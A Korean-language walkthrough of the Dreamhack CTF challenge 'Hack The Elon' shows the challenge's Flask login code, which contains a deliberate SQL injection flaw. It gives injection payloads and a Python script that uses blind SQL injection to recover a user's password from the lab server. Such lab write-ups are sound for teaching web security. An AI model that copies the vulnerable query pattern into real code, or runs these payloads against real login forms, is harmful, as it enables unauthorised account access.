[Dreamhack] Hack The Elon
https://dreamhack.io/wargame/challenges/1809
Hack The Elon
이 문제는 제 30회 해킹캠프 박기범 - 웹 해킹의 첫 발걸음 실습 플랫폼에 출제된 문제입니다. Elon Musk의 비밀번호를 알아내어 부자가 되어 보아요. 비밀번호는 a, b, c, d, e 5개의 알파벳으로 이루
dreamhack.io
비밀번호를 알아내는게 핵심인듯
코드를 까 보자
code
import sqlite3
from flask import Flask, request, render_template_string
app = Flask(__name__)
def init_db():
conn = sqlite3.connect('users.db') # sqlite 데이터베이스 users.db에 테이블 생성
cursor = conn.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL
)''')
cursor.execute("INSERT OR IGNORE INTO users (username, password) VALUES ('elon', '(REDACTED숨겨진정보!)')")
conn.commit() # 사용자 -elon이라는 계정이 등록되어 있는데, 비밀번호는 숨겨져 있음
conn.close()
# init_db()
# init_db() 호출은 주석처리, 이미 db는 만들어져 등록된 상태
@app.route("/", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username", "")
password = request.form.get("password", "")
# 폼에서 username, password를 받아 처리함
conn = sqlite3.connect('users.db')
cursor = conn.cursor()
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
# sql 인젝션 취약점 -> 사용자 입력값을 직접 문자열 포맷팅해서 sql 쿼리문에 삽입
# sql 쿼리문에서 and는 or보다 우선순위가 높음
# 즉, 쿼리문에서 and 문 먼저 처리한 후 or 문을 처리함 -> 뒤에 or 문이 있을 경우 where 조건이 참이 되어 우리가 원하는 값이 나올 수 있음
# username = elon password = ' or '1'='1' --
# 또는 elon' -- 이런 식으로 처리하는 방법도 있음
cursor.execute(query)
user = cursor.fetchone()
conn.close()
if user:
return """
<html>
<head><title>Login Success</title></head>
<body class="success">
<h2>로그인 성공!</h2>
<p>반가워요. 여기 플래그를 드릴게요.<br>HACKCAMP{ELON의비밀번호4자리_pW_bl1nd_wowow_but_swqpbabo}<br><br>설마 Blind SQL 기법으로 안푼건 아니죠... ㅋㅋㅋ</p>
<a href="/">돌아가기</a>
</body>
</html>
"""
else:
return """
<html>
<head><title>Login Failed</title></head>
<body class="fail">
<h2>로그인 실패!</h2>
<p>아이디 또는 비밀번호가 잘못되었습니다.</p>
<a href="/">다시 시도하기</a>
</body>
</html>
"""
return render_template_string("""
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hack The Elon</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #1e1e1e;
color: white;
text-align: center;
padding: 50px;
}
.container {
width: 300px;
margin: auto;
padding: 20px;
background: #2e2e2e;
border-radius: 10px;
box-shadow: 0px 0px 10px rgba(255, 255, 255, 0.1);
}
input[type="text"], input[type="password"] {
width: 90%;
padding: 10px;
margin: 10px 0;
background: #444;
color: white;
border: 1px solid white;
border-radius: 5px;
}
input[type="submit"] {
width: 100%;
padding: 10px;
background: #28a745;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
}
input[type="submit"]:hover {
background: #218838;
}
.success {
color: #28a745;
}
.fail {
color: #dc3545;
}
</style>
</head>
<body>
<div class="container">
<h2>Hack The Elon</h2>
<form method="POST">
<input type="text" name="username" placeholder="아이디" required><br>
<input type="password" name="password" placeholder="비밀번호" required><br>
<input type="submit" value="로그인">
</form>
</div>
</body>
</html>
""")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=31002, debug=True)
/ 경로에서 username과 password를 입력받고 있다.
사용자 입력값을 문자열 포맷팅 후 직접 sql 쿼리문에 넣기 때문에 sql injection 취약점을 이용해서 사용자 'elon'으로서 로그인을 시도할 수 있을듯하다.
Exploit
다음과 같은 payload를 작성해서 입력해 보았다.
username : elon
password : ' or '1'='1' --
역시 간단한 sql 인젝션으로 끝나는 문제가 아니었다.
Blind SQL 기법으로 elon의 비밀번호 4자리를 알아내야 될듯
다시 코드를 자세히 살펴보니 이미....로그인 성공 시 어떤 식으로 렌더링이 되는지 나와있었다. 이런
blind sql injection 을 이용해서 다시 익스플로잇 코드를 작성해보자.
※ payload
' OR (SELECT SUBSTR(password, 1, 1) FROM users WHERE username='elon') = 'a' --
' OR (SELECT SUBSTR(password, 2, 1) FROM users WHERE username='elon') = 'a' --
' OR (SELECT SUBSTR(password, 3, 1) FROM users WHERE username='elon') = 'a' --
' OR (SELECT SUBSTR(password, 4, 1) FROM users WHERE username='elon') = 'a' --
비밀번호는 a, b, c, d, e 이렇게 5글자로 이루어진 4자리라고 한다.
한자리 한자리씩 a, b, c, d, e를 넣어가며 쿼리문을 보냈을 때 서버의 리턴값을 확인하고(만약 해당 자리의 문자가 비밀번호의 그 자리의 문자와 일치할 경우 '로그인 성공' 이라는 표시가 뜸)각 자리에 어떤 문자가 들어와 있는지 확인하는 식으로 진행하면 될 듯 하다.
Exploit
import requests
target_url = "http://host1.dreamhack.games:23911/"
password = ""
password_chars = ['a', 'b', 'c', 'd', 'e']
for pos in range(1, 5):
found = False # 초기값 설정
for char in password_chars:
payload = f"' or (select substr(password, {pos}, 1) from users where username='elon') = '{char}' --"
data = {
"username": "elon",
"password": payload
}
response = requests.post(target_url, data=data)
if "로그인 성공" in response.text:
password += char
found = True
break # 두 개의 for 문 중에서 for char in password_chars 반복문을 벗어남
if not found:
break
print(password)
위 코드를 실행해 보면
bdad라는 문자열이 튀어나온다.
위의 문자열을 HACKCAMP{ELON의비밀번호4자리_pW_bl1nd_wowow_but_swqpbabo} 여기에 넣어주면 될 듯 하다.